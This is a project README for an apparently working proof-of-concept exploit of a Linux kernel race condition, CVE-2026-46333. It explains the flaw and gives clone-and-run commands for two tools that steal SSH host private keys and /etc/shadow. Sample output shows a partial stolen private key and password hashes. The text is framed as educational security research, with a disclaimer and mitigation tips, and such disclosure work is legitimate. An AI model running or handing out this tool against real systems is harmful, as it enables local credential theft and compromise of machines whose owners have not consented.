
CVE-2026-46333
High-quality Proof of Concept for the Linux kernel race condition vulnerability
A clean and reliable proof-of-concept exploit for CVE-2026-46333 — Local information disclosure via race condition in the Linux kernel's process exit path.
Successfully stealing SSH host private key and /etc/shadow on Kali Linux
CVE-2026-46333 (also known as ssh-keysign-pwn) is a race condition in the Linux kernel's ptrace and process exit logic (do_exit() → exit_mm() before exit_files()).
When a privileged process (e.g. SUID ssh-keysign or chage) has mm == NULL during exit, the dumpability check is bypassed, allowing an unprivileged local attacker to use pidfd_getfd() to steal open file descriptors.
Impact:
/etc/ssh/ssh_host_*_key)/etc/shadowDiscovered by: Qualys
Fixed in: Kernel commit 31e62c2ebbfdc3fe3dbdf5e02c92a9dc67087a3a (May 2026)
/etc/shadow Stealer via chagegit clone https://github.com/0xBlackash/CVE-2026-46333.git
cd CVE-2026-46333
sudo ./CVE-2026-46333
sudo ./CVE-2026-46333-shadow
| File | Description |
|---|---|
cve-2026-46333.c | SSH host private keys stealer |
cve-2026-46333-shadow.c | /etc/shadow stealer via chage |
README.md | This file |
SSH Key Stealer:
[+] SUCCESS! Stolen fd 3 -> /etc/ssh/ssh_host_ecdsa_key (round 0)
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAAB...
Shadow Stealer:
[+] SUCCESS! Stolen /etc/shadow (round 0)
root:*:19953:0:99999:7:::
kali:$y$j9T$zY1oKFxJlTgP2WcJhzbNl1$...
31e62c2ebbfd...EnableSSHKeysign in sshd_config if not neededThis exploit is for educational and security research purposes only.
Use it only on systems you own or have explicit written permission to test.
The author is not responsible for any misuse or damage.
This project is licensed under the MIT License — feel free to use, modify, and distribute.
Made with ❤️ for the security community
Keeping systems updated is the best defense.